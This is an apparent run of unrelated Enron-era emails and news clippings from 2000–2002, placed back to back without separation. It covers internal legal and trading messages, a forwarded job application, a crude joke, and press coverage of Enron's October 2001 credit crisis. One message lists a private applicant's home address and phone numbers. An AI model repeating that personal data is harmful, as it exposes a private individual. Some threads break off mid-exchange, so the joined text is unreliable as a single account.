Schweitzer-Mauduit will issue its second quarter 2001 earnings press releas=
e on Thursday, July 26, 2001. The Company will hold a conference call to re=
view second quarter results with investors and analysts at 10:30 a.m. easte=
rn time on that day. The conference call will be simultaneously broadcast o=
ver the World Wide Web at http://www.schweitzer-mauduit.com . To listen to =
the call, please go to the Web site at least fifteen minutes prior to the c=
all to register and download and install any necessary audio software. For =
those unable to listen to the live broadcast, a replay will be available on=
 the Web site shortly after the call.=20
Schweitzer-Mauduit International, Inc. is a diversified producer of premium=
 specialty papers and the world's largest supplier of fine papers to the to=
bacco industry. It also manufactures specialty papers for use in alkaline b=
atteries, vacuum cleaner bags, overlay products, business forms and printin=
g and packaging applications. Schweitzer-Mauduit and its subsidiaries condu=
ct business in over 90 countries and employ 3,500 people worldwide, with op=
erations in the United States, France, Brazil and Canada. For further infor=
mation, please visit the Company's Web site at www.schweitzer-mauduit.com .=
=20
Certain comments contained in this news release concerning the business out=
look and anticipated financial and operating results of the Company constit=
ute ``forward-looking statements,'' generally identified by phrases such as=
 the Company ``expects'' or ``anticipates'' or words of similar effect, wit=
hin the meaning of the Private Securities Litigation Reform Act of 1995 and=
 are subject to the safe harbor created by that Act. The forward-looking st=
atements are based on information currently available to the Company and ar=
e based upon management's expectations and beliefs concerning future events=
 and factors impacting the Company, including energy usage and costs, produ=
ction downtime, restructuring costs, per ton wood pulp costs, banded cigare=
tte paper implementation costs, local Brazilian business taxes, mill operat=
ions, raw materials availability, transportation availability, sales volume=
s and average selling prices. There can be no assurances that such factors =
or future events will occur as anticipated or that the Company's results wi=
ll be as estimated. Many factors outside the control of the Company also co=
uld impact the realization of such estimates. Such factors are discussed in=
 more detail in the Company's latest filings with the Securities and Exchan=
ge Commission, including the Company's Annual Report on Form 10-K for the y=
ear ended December 31, 2000. Except as required by federal securities law, =
the Company undertakes no obligation to publicly update or revise any forwa=
rd-looking statements, whether as a result of new information, future event=
s, changed circumstances or any other reasons, after the date of this news =
release.

Hello Paul Thomas,

 This is an automated email delivery.  The following info is for
 tracking purposes only:

 Transaction: 0000199459
 Fulfillment: 00203618*00002
 Location   : 00007

 Industrial Information Resources, Inc.
 Customer Service Department
 (713) 783-5147

 - OUTAGE.dbf 

Tom:

You can only see the master agreement database.  The brokerage agreement database is separate and cannot be viewed by anyone outside Legal.  The Bear Stearns agreement you see listed is there in error.  It should be in the brokerage agreement database.  We do have listings for Morgan and Goldman.  Sara wasn't aware that you couldn't see this database when you spoke,

Marie

From: 	Doukas, Tom  
Sent:	Wednesday, October 03, 2001 12:15 PM
To:	Shackleton, Sara
Cc:	Heard, Marie
Subject:	RE: trading authorization

I have gone through the database and have only been able to find the Bear Prime Broker agreement under ECI.  I know I have a Morgan ECI account and should have a Goldman pending.  I am looking for Enron Co=Enron Credit Inc. is that not correct?

Thanks,

Tom 

From: 	Shackleton, Sara  
Sent:	Wednesday, October 03, 2001 11:39 AM
To:	Doukas, Tom
Subject:	trading authorization

You need to send an email to Donna Lowry, Cassandra Schultz, William S. Bradford

Some originators today reiterated how valuable Gov't Affairs can be in 
bringing deals (citing Tom Chapman -- Alamac and Dan Allegretti -UI).  The 
new East power services desk (headed by Lloyd Will and Tom May) is taking off 
and very interested in muni, industrial on-site generation purchases, 
scheduling, etc.  Origination (EPMI and EES) are interested in structured 
deals -- all requirements, tolling, etc.  Thanks for keeping this in mind 
while out there in the trenches!

Vince,

Sean tells me that the structured deal libraries, probably requires a more thorough hand-over....

...do we have that expertise still in the building?... can we extend someone here to make that happen?

regards

Steve

PS: I hope you and your wife can attend on Saturday 6pm?.... is there anything you both can't eat? (vegetarian etc...)

From: Kaminski, Vince J 
Sent: Monday, January 28, 2002 11:28 AM
To: Yang, Sean; Rajan, Karthik; Stock, Steve
Subject: Re: Issues with Exotica Library

Karthik,
If you cannot find the answer, please call Zimin. I shall call him at home tonight as well. 
Vince
--------------------------vince kaminski

Dear Team:

Attached is a copy of the presentation to be given on campus for your review.

Thank you!

Lexi
3-4585

Start Date: 4/5/01; HourAhead hour: 6;  HourAhead schedule download failed. 

Wow, lots of fun out there, eh?  Don't know what it will be like without 
Steve Peace around any more....

I have a very mundane question, though.  What prices for intrastate capacity 
did the PUC finally come up with in the Sempra BCAP for large generators 
under the new "Sempra-wide" rate doctrine?  Thanks a million.

Best,
Jeff

CONGRATULATIONS!!  I'm just proud to say "I knew him when..."

                                                                       Jim 
Prentice

Larry,

Please, take a look at this candidate. I don't
think his profile matches my requirements, but he looks quite
interesting.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/14/2000 
04:32 PM ---------------------------

"Paul Rowady" <epr@pipeline.com> on 11/14/2000 04:09:43 PM
To: "Vince Kaminski" <vkamins@enron.com>
cc:  
Subject: Seeking opportunity in computational finance

In following up on my voicemail message today, I attach my resume below for
your review and consideration.

It's ironic that you called while I was putting the message together.  I
will keep it short and look forward to speaking to you at your convenience.

Paul

E. Paul Rowady, Jr.
2300 West Alabama, Suite 69
Houston, Texas  77098

713-807-8624   home / fax
713-539-4541   mobile
epr@pipeline.com

 - Paul Rowady2.doc

---------------------- Forwarded by Andrea Ring/HOU/ECT on 05/02/2001 04:06 
   
	From:  Karen D McIlvoy                           04/10/2001 08:20 AM
	
To: ragan.bond@bhlp.com
Subject: Fwd:

A beautiful woman loved growing tomatoes, but couldn't seem to get her 
tomatoes to turn red. One day while taking a stroll she came upon a 
gentleman neighbor who had the most beautiful garden full of huge red 
tomatoes. 

The woman asked the gentleman, "What do you do to get your tomatoes so 
red?" The gentleman responded, "Twice a day I stand in front of my tomato 
garden and expose myself, and my tomatoes turn red from blushing so much." 

 The woman was so impressed, she decided to try doing the same 
 thing to her tomato garden to see if it would work. So twice a day for two 
weeks she exposed herself to her garden hoping for the best 

  One day the gentleman was passing by and asked the woman, "By the way, 
How did you make out? Did your tomatoes turn red?" 

"No" she replied, "but my cucumbers are enormous!" 

cc:  

		 cc: 

Regards,
bd

Enron Discusses Credit Line of $1 Billion to $2 Billion With Banks
The Wall Street Journal, 10/29/01
Manager's Journal: How Enron Ran Out of Gas
Enron Seeks Additional Financing
The New York Times, 10/29/01
GLOBAL INVESTING: Enron stock plunge deals a heavy blow to mutual funds=20
Financial Times; Oct 29, 2001

COMMENT & ANALYSIS - Enron flickers.
Financial Times, 10/29/01
FRONT PAGE - COMPANIES & MARKETS - Enron asks banks for additional credit.
Enron Seeks Further Credit to Reassure Investors, WSJ Says
Bloomberg, 10/29/01

USA: REPEAT-Electric cowboys get roped in at the energy corral.
Reuters English News Service, 10/29/01

Enron seeks new credit line; reportedly for 1-2 bln usd
AFX (AP), 10/29/01
Enron Said Seeking New Credit Lines
American Banker, 10/29/01
USA: Enron in talks for $1-2 bln credit line - WSJ.
JAPAN: Japan's Teijin, Enron study coal-fired power plant.
Enron, Teijin to Build Power Plant in Japan, Report Says

Once-Mighty Enron Strains Under Scrutiny
The New York Times, 10/28/01

Plumbing Mystery Of Deals By Enron

Investors Seem to Ignore Discouraging News

Enron Asks Banks for More Credit After Stock Slide, FT Reports
Bloomberg, 10/28/2001

Enron Asks Banks For Additional Credit -FT
Dow Jones Energy Service, 10/28/01
Week in Review TOP STORIES OCT. 22-26 Lockheed Edges Out Boeing for Contrac=
t
Los Angeles Times, 10/28/01
Devon Energy makes building its own with major lease
Houston Chronicle, 10/28/01
INDIA PRESS: Enron Plans To Exit LNG Shipping JV
Dow Jones International News, 10/28/01

Enron Taps All Its Credit Lines To Buy Back $3.3 Billion of Debt
The New York Times, 10/27/01
COMPANIES & FINANCE INTERNATIONAL - Enron's bond prices drop to warning lev=
els.
Financial Times, 10/27/01

SHORTS - Enron bond prices under pressure.
Enron taps credit line; stock slides
Associated Press Newswires, 10/27/01

Enron Decline Continues
Los Angeles Times, 10/27/01
Enron taps credit line; stock slides / Company says cash will boost confide=
nce
Houston Chronicle, 10/27/01

Enron says Microsoft breached contract
How to Lose a War
City - Enron directors cash in shares.
The Daily Telegraph, 10/27/01
INDIA: Lenders to meet over Enron's Dabhol on Nov 3.
Reuters English News Service, 10/27/01
Enron sues Microsoft for breach of contract ; Move could block high-speed s=
ervice
The Seattle Times, 10/27/01

By Jathon Sapsford and John Emshwiller
Staff Reporters of The Wall Street Journal

10/29/2001
The Wall Street Journal
A10
(Copyright (c) 2001, Dow Jones & Company, Inc.)

Enron Corp., scrambling to restore confidence in its finances, is negotiati=
ng with banks for a new credit line of between $1 billion and $2 billion, a=
nd is likely to close a deal within days, according to officials familiar w=
ith the matter.=20
The new credit line is intended to bolster Enron's financial condition and =
head off a potentially devastating loss of investor and business confidence=
. The new credit would supplement existing lines, which are largely tapped =
out after Enron last week drew down about $3 billion to increase cash reser=
ves and calm fears in the stock, bond and energy markets.
An Enron spokesman confirmed that the company is negotiating a new credit l=
ine, but said he couldn't supply any further details.=20
Houston-based Enron is the nation's biggest energy trader and a principal i=
n nearly one-quarter of all electricity and natural-gas trades. Once a favo=
rite of Wall Street, the company now is in the unfamiliar position of convi=
ncing a deeply concerned investment community that, despite difficulties, i=
ts finances remain sound.=20
Confidence in Enron's financial situation was shaken after Enron earlier th=
is month announced a $618 million third-quarter loss and disclosed a $1.2 b=
illion erosion of shareholder equity related to controversial transactions =
it had done with entities connected to its then-chief financial officer, An=
drew Fastow.=20
Last week, Enron replaced Mr. Fastow and said that the Securities and Excha=
nge Commission was looking into the transactions. The company has consisten=
tly said that the transactions were proper and legal.=20
Enron's stock price fell again Friday. As of 4 p.m., in composite trading o=
n the New York Stock Exchange, Enron shares were down 95 cents at $15.40. E=
nron shares have fallen 50% in the past two weeks and are down 83% from a S=
ept. 18, 2000, high of $89.63.=20
Late last week, Enron tapped its existing credit lines, with part of that m=
oney being used to redeem nearly $2 billion of its outstanding commercial p=
aper, or short-term corporate IOUs. Ron Barone of credit-rating agency Stan=
dard & Poor's said he believes that Enron was "getting a bit more resistanc=
e" recently in rolling over its commercial paper as it came due. Thus, Enro=
n probably decided it would be easier simply to redeem the paper outstandin=
g, he said.=20
The Enron spokesman yesterday said that paying off the commercial paper and=
 still leaving the company with an additional roughly $1 billion cash on ha=
nd would give it more financial flexibility.=20
Also last week, credit-rating agencies warned investors they were reviewing=
 Enron's debt and commercial-paper ratings for a possible downgrade. A lowe=
r rating could hamper Enron's core trading businesses.=20
Behind the worries among these agencies, in part, is the loss of investor c=
onfidence, which one of the rating companies, Fitch, said in a report last =
week could impair "Enron's financial flexibility and access to capital mark=
ets, therefore impacting its ability to conduct its business."=20
The Enron spokesman said yesterday that the company's trading partners are =
doing business with Enron on "essentially the same terms" as they have in t=
he past. "There has been no significant change in the credit conditions," h=
e said. Trading partners demanding significantly stricter terms from Enron =
would be a sign of further deteriorating confidence in the energy giant's f=
inances.=20
The banks involved in the current negotiations, including J.P. Morgan Chase=
 & Co. and Citigroup Inc., are asking Enron for stricter covenants on the n=
ew credit line than they had asked for in the past, one official said.=20
Bankers involved with the company say the goal of the new credit line is to=
 show the investment community that Enron can meet its commitments. "Confid=
ence in this company was lost," said one bank official involved in the nego=
tiations for a new credit line. "But confidence will be restored."=20
Corporations of Enron's size commonly establish credit lines only to demons=
trate to the investment community that in case of an emergency, they have a=
ccess to cash. In practice, few companies actually make use of these lines.=
 Thus, drawing down credit lines, while providing immediate cash, also illu=
strates the pressure Enron is feeling.

Copyright ? 2000 Dow Jones & Company, Inc. All Rights Reserved. =09

By Paul Kedrosky

A22

Is troubled Enron Corp. the Long Term Capital Management of the energy mark=
ets, or merely yet another mismanaged company whose executives read too man=
y of their own press releases? Or is poor Enron just misunderstood? Those a=
re the questions after another week of Chinese water torture financial rele=
ases from the beleaguered Houston-based energy concern.=20
A year ago Enron was the hottest of the hot. While tech stocks were tanking=
, Enron's shares gained 89% during 2000. Even die-hard Enron skeptics -- of=
 which there are many -- had to concede that last year was a barnburner for=
 the company. Earnings were up 25%, and revenues more than doubled.
Not bad, considering where the company came from. A decade ago 80% of Enron=
's revenues came from the staid (and regulated) gas-pipeline business. No l=
onger. Enron has been selling those assets steadily, partly fuelling revenu=
es, but also expanding into new areas. By 2000, around 95% of its revenues =
and more than 80% of its profits came from trading energy, and buying and s=
elling stakes in energy producers.=20
The stock market applauded the move: At its peak, Enron was trading at arou=
nd 55 times earnings. That's more like Cisco's once tropospheric valuation =
than the meager 2.5 times earnings the market affords Enron competitor Duke=
 Energy.=20
But Enron management wanted more. It was, after all, a "new economy" Web-ba=
sed energy trader where aggressive performers were lucratively rewarded. Ac=
cording to Enron Chairman and CEO Ken Lay, the company deserved to be value=
d accordingly. At a conference early this year he told investors the compan=
y's stock should be trading much higher -- say $126, more than double its p=
rice then.=20
Then the new economy motor stalled. The company's president left under stra=
nge circumstances. And rumors swirled about Enron's machinations in Califor=
nia's energy markets. Investors pored over Enron's weakening financial stat=
ements. But Enron analysts must have the energy and persistence of Talmudic=
 scholars to penetrate the company's cryptic financials. In effect, Enron's=
 troubles were hiding in plain sight.=20
It should have been a warning. Because of the poor financial disclosure the=
re was no way to assess the damage the economy was doing to the company, or=
 how it was trying to make its numbers. Most analysts blithely concede that=
 they really didn't know how Enron made money -- in good markets or bad.=20
Not that Enron didn't make money, it did -- albeit with a worrisomely low r=
eturn on equity given the capital required -- but sometimes revenues came f=
rom asset sales and complex off-balance sheet transactions, sometimes from =
energy-trading revenues. And it was very difficult to understand why or how=
 -- or how likely it was Enron could do it again next quarter.=20
Enron's financial inscrutability hid stranger stuff. Deep inside the compan=
y filings was mention of LJM Cayman, L.P., a private investment partnership=
. According to Enron's March 2000 10-K, a "senior officer of Enron is the m=
anaging member" of LJM. Well, that was a puzzler. LJM was helping Enron "ma=
nage price and value risk with regard to certain merchant and similar asset=
s by entering into derivatives, including swaps, puts, and collars." It was=
, in a phrase, Enron's house hedge fund.=20
There is nothing wrong with hedging positions in the volatile energy market=
 -- it is crucial for a market-maker. But having an Enron executive managin=
g and benefiting from the hedging is something else altogether, especially =
when the Enron executive was the company's CFO, Andrew Fastow. While he sev=
ered his connection with LJM (and related partnerships) in July of this yea=
r -- and left Enron in a whirl of confusion last week -- the damage had bee=
n done.=20
As stories in this paper have since made clear, Mr. Fastow's LJM partnershi=
p allegedly made millions from the conflict-ridden, board-approved LJM-Enro=
n relationship. And recently Enron ended the merry affair, taking a billion=
-dollar writedown against equity two weeks ago over some of LJM's wrong-foo=
ted hedging. Analysts, investors, and the Securities & Exchange Commission =
were left with many questions, and very few answers.=20
To be fair, I suppose, Enron did disclose the LJM arrangement more than a y=
ear ago, saying it had erected a Chinese wall between Fastow/LJM and the co=
mpany. And in a bull market, no one paid much attention to what a bad idea =
that horribly conflicted relationship was -- or questioned the strength of =
the wall. Now it matters, as do other Enron-hedged financings, a number of =
which look to have insufficient assets to cover debt repayments due in 2003=
.=20
We didn't do anything wrong is Mr. Lay's refrain in the company's current r=
ound of entertainingly antagonistic conference calls. That remains to be se=
en, but at the very least the company has shown terrible judgment, and hero=
ic arrogance in its dismissal of shareholders interests and financial trans=
parency.=20
Where has Enron's board of directors been through all of this? What kind of=
 oversight has this motley collection of academics, government sorts, and r=
etired executives exercised for Enron shareholders? Very little, it seems. =
It is time Enron's board did a proper investigation, and then cleaned house=
 -- perhaps neatly finishing with themselves.=20
---=20
Mr. Kedrosky is a professor of business at the University of British Colomb=
ia.

National Desk; Section A
By RICHARD A. OPPEL Jr.

The New York Times
Page 9, Column 4
c. 2001 New York Times Company

DALLAS, Oct. 28 -- The Enron Corporation, still struggling to reassure inve=
stors it can weather a financial crisis over complicated transactions invol=
ving its former chief financial officer, is seeking $1 billion to $2 billio=
n in additional financing from banks, an industry official said today.=20
Last week, Enron, the nation's largest energy-trading concern, used about $=
3 billion in available credit lines and spent about $2 billion to pay off c=
ommercial paper. Now, by obtaining even more financing, Enron is hoping to =
convince investors and other energy-trading firms that it will not face a c=
ash squeeze that could lead trading partners to refuse to extend credit or =
do business with it.
Enron's board, which has been holding meetings by telephone over the last t=
wo weeks to monitor the company's financial situation, held another meeting=
 this afternoon. ''The board is meeting frequently and will announce any ac=
tions when appropriate,'' an Enron spokesman said.=20
Two weeks ago, Enron disclosed that its shareholder equity had been reduced=
 by $1.2 billion because of deals with investment partnerships involving it=
s former chief financial officer, Andrew S. Fastow, who was ousted last wee=
k. The company also disclosed about $1 billion in separate write-offs, and =
it said last week that the Securities and Exchange Commission had made an i=
nquiry into its financial accounting.=20
Enron hopes to maintain its investment-grade credit rating, which is crucia=
l to ensuring that other energy traders continue to do business with it. La=
tely, Enron's bonds have been trading at prices more like junk bonds, and t=
wo major credit-rating agencies are considering whether to downgrade the co=
mpany's rating.

By AGENCIES: AGENCY MATERIAL and ELIZABETH WINE

Enron shares plunged 40 per cent in the last week,doing severe damage to mu=
tual funds, the company's largest institutional ownership bloc, and the hav=
oc may continue.=20
More than 15 per cent of the 4,000 US equity funds held shares in the embat=
tled company's shares as of the most recent reporting period, according to =
fund tracker Morningstar.=20
Mutual funds held a fifth of Enron's shares, but that percentage is likely =
to be much lower now, say fund analysts, who suggest much of the stock's ha=
lving in October is due to large sales by institutional holders.=20
Janus, the growth fund specialist, was the largest institutional shareholde=
r according to the most recent filings, dated June 30, with more than 42m s=
hares representing a stake worth Dollars 2.1bn.=20
The stake - if still held in its entirety - would be worth Dollars 659m at =
Friday's closing price of Dollars 15.40. Enron shares dropped 95 cents, or =
5.81 per cent on Friday, taking its total fall to nearly 41 per cent last w=
eek on concerns over accounting questions and some limited partnerships cre=
ated by Andrew Fastow, former chief financial officer. On Friday, several l=
eading rating agencies put the company's debt on credit watches, and Enron =
bond prices plunged. The company's stock is down 81 per cent since January.=
=20
Most fund managers, including those at Janus, refuse to discuss a company i=
n which they are actively trading. However, several mutual fund groups with=
 large Enron stakes have said their listed positions are "dated", implying =
that the funds' positions in the company have changed.=20
Morningstar analyst Christine Benz, who follows the Janus funds, said manag=
ers of the group's larger funds had been "lightening up" their Enron holdin=
gs this year. She said Blaine Rollins, who manages the Dollars 23bn flagshi=
p Janus fund, said that in September he had sold some of his stake - listed=
 as 2.15 per cent of outstanding shares as of April 30 - but did not say wh=
en.=20
Ken Zschappel, manager of the Dollars 11bn Aim Constellation fund, also dec=
lined to discuss his holdings, listed as 0.27 per cent of outstanding share=
s as of March 31. But Aim said the position had since been "trimmed substan=
tially".=20
Other top fund owners, as of the most recent filings, included the Alliance=
 Premier Growth fund, the Janus Twenty, Janus Mercury and Janus Growth & In=
come funds, Fidelity Magellan, AXP New Dimensions Fund, Putnam Investors, P=
utnam Voyager and Putnam New Opportunities funds and Morgan Stanley Dividen=
d Growth fund.=20
Copyright: The Financial Times Limited

By SIMON LONDON and SHEILA MCNULTY.

Financial Times
(c) 2001 Financial Times Limited . All Rights Reserved

COMMENT & ANALYSIS - Enron flickers - Once a paragon of the new economy, th=
e US energy group is under scrutiny for its opaque accounting and free-whee=
ling management, write Simon London and Sheila McNulty.=20
Enron has some explaining to do. For the past decade or more, the Texas-bas=
ed company has basked in the admiration of investors and business school pr=
ofessors eager to understand its transformation from staid utility to fast-=
growing energy trader. Now it faces scrutiny of a more unwelcome kind.
Its share price has been falling since the beginning of this year. The US S=
ecurities and Exchange Commission is investigating multi-million dollar dea=
ls with a private equity fund associated with its own chief financial offic=
er, which resulted in a $1.2bn reduction in shareholders' equity. A hastily=
-convened conference call last week with analysts raised as many questions =
as it answered about these "related-party transactions". The departure of A=
ndy Fastow, the aforementioned CFO, soon followed.=20
With its credit rating under review by two leading ratings agencies, Enron =
has also been forced to draw down bank credit lines. Yesterday if confirmed=
 it was trying to establish additional lines of liquidity.=20
"This marks the end of Enron's walk on the wild side," observes Curt Launer=
, an analyst with Credit Suisse First Boston, the investment bank.=20
On the surface, events at Enron can be explained by the combination of dete=
riorating trading conditions, a complex capital structure and poor investor=
 relations. But the root causes go back further. The entrepreneurial cultur=
e and dynamic management that fuelled Enron's growth in the 1990s appear to=
 have also sown some of the seeds of the present crisis. Therein may lie a =
cautionary tale for all executives trying to sprinkle "new economy" magic o=
n to old economy companies.=20
Enron's transformation began in earnest in 1990 with the arrival of Jeffrey=
 Skilling, who was hired from McKinsey, the management consulting firm, to =
develop energy trading.=20
For the previous decade Enron had been emerging as a force in the deregulat=
ing US energy markets under the guidance of Kenneth Lay, a former deputy un=
der-secretary of energy. Mr Lay remains chairman. But it was Mr Skilling wh=
o spearheaded the move into trading energy as well as generating and supply=
ing it.=20
The two sides of the business - trading and generation/supply - have always=
 been strange bedfellows. The former demands an entrepreneurial spirit more=
 likely to be found on Wall Street than in a utility. Mr Skilling's answer =
in the early 1990s was to bring in talent from outside the company. One of =
his first recruits was Mr Fastow, an expert in securitisation, the repackag=
ing of financial assets so they can be traded in financial markets.=20
The energy trading division tried from the start to differentiate itself. A=
 management structure was introduced with only four layers - vice-president=
, director, manager and associate/ analyst - much like a consulting firm. E=
mployees were free to take as much holiday as they liked, so long as they d=
elivered results. As one of Mr Skilling's early recruits recalled: "It was =
all about creating an atmosphere and deliberately breaking the rules."=20
The seemingly free-wheeling style was based on a "loose-tight" management m=
odel expounded by Tom Peters and Bob Waterman, the management writers and M=
cKinsey alumni. At Enron this meant that employees in the merchant energy b=
usiness were encouraged by huge bonuses to pursue new ideas and innovate in=
 existing markets.=20
Up-and-coming employees moved freely between projects in pursuit of glory. =
Louise Kitchen, the 32-year-old British executive who was the creative forc=
e behind Enron Online, the group's internet-based trading platform, changed=
 jobs or was promoted seven times in five years.=20
Balancing these loose management practices were tight central control of ri=
sk, legal commitments, finance and performance evaluation/remuneration. Mr =
Skilling once described the approach in this way: "As long as you clear you=
r deals or business ideas through those screens, you can do whatever you wa=
nt around here."=20
This approach did deliver growth and innovation. As well as making markets =
in its core energy products, Enron now trades everything from weather deriv=
atives - which enable companies to insure themselves against unfavourable c=
limatic conditions - to broadband telecommunications capacity and metals. T=
he success of Enron Online allows the group to describe itself as the world=
's leading e-commerce company.=20
It has also started marketing electricity to US consumers through a joint v=
enture with International Business Machines and America Online, the interne=
t service provider.=20
In February this year Mr Skilling got his reward: he became chief executive=
 of a group ranked seventh in Fortune magazine's list of the 500 most power=
ful US corporations - ahead of such corporate giants as IBM, AT&T, Bank of =
America and Boeing.=20
In retrospect, however, this breakneck pace of growth and innovation was ac=
hieved at a price. First was the personal cost to Mr Skilling. In August he=
 abruptly resigned after only six months in the top job. Personal, non-heal=
th related reasons were cited and investors have received no further explan=
ation.=20
A second cost was an enormous increase in financial complexity. In order to=
 avoid a ballooning of assets and liabilities as the group expanded, Enron =
used a range of off-balance sheet vehicles to help finance expansion. LJM, =
the private equity fund in which Mr Fastow played a role, is just one of a =
cast of characters to be found in the footnotes to Enron's accounts. Other =
financing vehicles include Osprey, Marlin, Whitewing, Atlantic Water Trust =
and Azurix. "They went after too many things too quickly," says Stephen Moo=
re of Moody's Investors Service, the credit ratings agency.=20
A third cost, associated with the last, was a loss of financial transparenc=
y. The group's extensive use of swaps, options and other derivative financi=
al instruments in its merchant energy business means that investors have li=
ttle idea of how Enron actually makes its money - or the underlying risks t=
o which it is exposed.=20
David Fleischer, an analyst at Goldman Sachs, summed up the views of many i=
nvestors during last week's conference call. He told the group's management=
: "The company's credibility is being severely questioned and there is a ne=
ed for much more disclosure. There is an appearance that you are hiding som=
ething or that there is something going on beneath the surface that may be =
questionable."=20
The fourth cost was a loss of strategic focus. "The problems, in our view, =
stem from Enron venturing too aggressively in areas outside of its core ski=
lls," argues Raymond Niles, analyst at Salomon Smith Barney. "Power plants =
in India, water companies, extension of their franchise to the mass retail =
market, and using a fibre-optic network to deliver content over the interne=
t are all unrelated, or only tangentially related, to their core merchant e=
nergy business."=20
Enron executives also appeared to get carried away with the prospects for s=
ome of these ventures. This time last year Mr Skilling was arguing that Enr=
on Broadband was a business worth $35bn ( #24bn) in its own right. This hel=
ped push the share price to all-time highs - and storing up trouble when tr=
ading volumes failed to materialise.=20
"They over-promised on the new business they created," says Chris Bartlett,=
 a professor at Harvard Business School and long-time watcher of the compan=
y. "Enron was trying to ride the dotcom bubble with Enron Online and the br=
oadband business. To some extent they are now paying the price."=20
Will Enron weather the storm? Notwithstanding the risk of further out-of-th=
e-blue financial shocks, most analysts believe that it will. The merchant e=
nergy business remains powerful and profitable. Mr Niles at Salomon Smith B=
arney points out that this side of the group drives more than 80 per cent o=
f earnings and has shown consistent 30-40 per cent annual growth over the p=
ast three years. Assets totalling more than $4bn were also earmarked for di=
sposal before the current crisis erupted, underlining that there is plenty =
of realisable value within the group's portfolio of physical energy assets.=
=20
And yet the doubts remain. It is, ultimately, a question of confidence and =
credibility. Investors suspect that the balance between loose and tight man=
agement methods has tilted too far towards the former. Mr Lay and his team =
will have to tighten up.=20
(c) Copyright Financial Times Ltd. All rights reserved.=20
http://www.ft.com.

By SHEILA MCNULTY and GARY SILVERMAN.

Enron, the troubled US energy group, was attempting yesterday to persuade b=
anks to provide additional credit to bolster its position after a sharp fal=
l in its share price.=20
The Houston-based company was also due last night to hold a special board m=
eeting to consider confidence-building measures after surprise financial di=
sclosures damaged its reputation among US investors.
Last week the company raised $3.3bn (Euros 3.7bn) in cash to bolster its fi=
nancial position but Enron admitted yesterday that it was still looking for=
 additional finance. The company insisted, however, that it was in good fin=
ancial health and that its core energy trading business remained strong.=20
Mark Palmer, an Enron spokesman, said he hoped the company would have somet=
hing to announce in coming days from its latest effort to "establish additi=
onal lines of liquidity". "Once we are able to get the liquidity position s=
hored up, that will put a lot of fears of the unknown to rest," Mr Palmer s=
aid.=20
The company's problems have become public since an announcement on October =
16 that it would take a $1.01bn special charge and write down shareholders'=
 equity by another $1.2bn. The moves followed losses arising from a private=
 equity operation run by Andrew Fastow, its former chief financial officer,=
 who was forced to take a leave of absence last week.=20
Enron's share price has fallen more than 50 per cent since the October 16 a=
nnouncement and its bonds have been trading at levels that are technically =
"junk" status, though its official ratings are still investment grade.=20
"Our concern is that a reduction in the debt rating could impair their abil=
ity to operate their trading and marketing operations," said Raymond Niles =
of Salomon Smith Barney. "These activities require at least an investment g=
rade credit rating, or Enron could be subject to an increase in margin requ=
irements."=20
The controversy over Enron's balance sheet adjustment has resulted in a req=
uest for information from the Securities and Exchange Commission. Enron fli=
ckers, Page 22.=20

2001-10-29 04:30 (New York)

     Houston, Oct. 29 (Bloomberg) -- Enron Corp., the largest
energy trader, asked banks to provide a further credit line of as
much as $2 billion in a bid to restore investor confidence in the
company, the Wall Street Journal reported, citing unidentified
officials close to negotiations.

     The new credit line is additional to the $3.3 billion credit
line it tapped last week, the paper said, and should be completed
within days.

     Investors have shunned the company since Oct. 16 when Enron
reported a third quarter loss of $618 million and wrote down
shareholders' equity by another $1.2 billion, the Journal said.
The stock has fallen by 54 percent since the announcement.

     The company's shares were further dented after an investor
sued Enron last month, saying dealings with two partnerships run
by former Chief Financial Officer Andrew Fastow, cost the company
$35 million. The suit also called Fastow's leadership of the
partnerships, set up to cut Enron's debt, a conflict of interest.

By Janet McGurty

(C) Reuters Limited 2001.

NEW YORK, Oct 26 (Reuters) - Last year, Enron Corp. was a darling of invest=
ors and analysts, but the freewheeling trader of electricity and natural ga=
s now faces a credibility crisis due to a lack of transparency in its busin=
ess dealings.=20
Enron, trying to shake investor jitters over a possible downgrade of its cr=
edit worthiness and their unease over the company's complex financial trans=
actions, has seen its shares shed more than half their market value in the =
past week.
But the largest natural gas and electricity marketer in the United States i=
s not alone in getting its wings clipped as energy prices come down and the=
 market volatility that drove earnings last year eases.=20
While Enron's problems differ from more traditional utilities, many other p=
ower producers are returning to their roots. They are scrapping plans for s=
plitting operations and questioning whether more risky overseas operations =
can be supported by lower prices brought on by a slowing economy.=20
Paul Patterson, an energy analyst with ABN Amro, said there are common them=
es affecting the industry.=20
"One is lower power prices and the margins that are associated with them. A=
nd two is lower stock prices and the ability to finance more asset driven g=
rowth," Patterson said.=20
As earnings fall and forward earnings guidance is revised downward, some po=
wer companies are seeking strategies to address the bleaker environment. An=
d plans to spin off units have been postponed or called off.=20
Shares of Enron slid $1.05, or 6.4 percent, to $15.30 in afternoon trade on=
 the New York Stock Exchange on Friday.=20
THE WORLD HAS CHANGED=20
AES Corp. , a global power producer whose earnings fell for a second consec=
utive quarter on a poor showing from operations in Brazil and Britain, said=
 Thursday it would revamp its organization and did not rule out selling off=
 assets.=20
"It's a different place," AES' chief executive officer Dennis Bakke said of=
 the business climate facing utilities today compared with last year's powe=
rful growth. On Friday, Constellation Energy Group , parent company of Balt=
imore Gas & Electric, scrapped plans to split its power generation and trad=
ing operations into two company because of economic changes. Constellation =
also hired a new chief executive and severed ties with Goldman Sachs, which=
 planned to make an equity investment in the company.=20
"The utility industry and energy markets, and indeed the entire U.S. econom=
y, have changed considerably in the past year. As a combined company, we wi=
ll be better positioned to seize opportunities to grow and deliver," said C=
hristian Poindexter, Constellation's chairman.=20
RETURN TO TRADITIONAL VALUES=20
Bakke said one prong of AES's brave, new world scenario was a renewed empha=
sis on the traditionally profitable, long-term contract generation business=
.=20
It makes sense for power generating companies to sign about 75 percent to 8=
0 percent of their generating capacity into long-term contracts because it =
provides stability and a level of profitability in a period of flat growth,=
 according to Gordon Howald, energy analyst with Credit Lyonnaise.=20
"Calpine does it already," he said, referring to the California-based indep=
endent power producer that has the lion's share of the power it generates c=
ontracted out. "What drove the valuations in all these companies last year =
was that power markets were very inefficient. Physical reserve margins were=
 low. But with flat to down demand in 2001 - as it appears to be the case -=
 there is very little to lead us to believe that power prices will be anywh=
ere near that level," he added.=20
Howald said with all the new generation coming on, natural gas prices shoul=
d remain high but power prices should come down further, squeezing spark sp=
reads, or profit margins, for solely gas fired companies.=20
SMALLER COMPANIES ALSO RETHINK STRATEGIES=20
As lower power prices impact earnings, many power companies are turning bac=
k to U.S. markets to try to maximize their bottom line.=20
